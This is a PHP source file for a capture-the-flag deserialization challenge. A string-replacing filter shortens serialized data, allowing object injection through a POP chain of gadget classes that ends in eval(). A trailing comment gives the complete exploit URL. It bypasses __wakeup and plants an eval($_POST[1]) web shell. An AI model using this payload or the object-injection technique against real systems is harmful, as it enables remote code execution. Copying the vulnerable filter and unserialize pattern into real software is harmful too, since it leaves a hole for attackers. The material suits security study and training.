1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php error_reporting(0); function filter($str){ $str=str_replace("getflag",'hark',$str); return $str;
} class Start{ public $start; public $end; public function __construct($start,$end) { $this->start=$start; $this->end=$end; } }
class Go{
public function __destruct() { echo $this->ray; }
} class Get{ public $func; public $name; public function __get($name) { call_user_func($this->func,$name);
}
public function __toString() { $this->name->{$this->func};
}
} class Done{ public $eval; public $class; public $use; public $useless; public function __invoke() { $this->use=$this->useless; eval($this->eval); }
public function __wakeup(){ $this->eval='no way'; } }
if(isset($_GET['ciscn_huaibei.pop'])){ $pop=new start($_GET['ciscn_huaibei.pop'],$_GET['pop']); $ser=filter(serialize($pop)); unserialize($ser); }else{ highlight_file(__FILE__); } ?>
// http://172.1.14.1/pop.php?ciscn[huaibei.pop=getflaggetflaggetflaggetflaggetflaggetflag&pop=;s:3:%22end%22;O:2:%22Go%22:1:{s:3:%22ray%22;O:3:%22Get%22:2:{s:4:%22func%22;s:9:%22phpinfo()%22;s:4:%22name%22;O:3:%22Get%22:2:{s:4:%22func%22;O:4:%22Done%22:4:{s:4:%22eval%22;s:16:%22eval($_POST[1]);%22;s:5:%22class%22;N;s:3:%22use%22;R:8;s:7:%22useless%22;s:16:%22eval($_POST[1]);%22;}s:4:%22name%22;s:1:%221%22;}}}}
|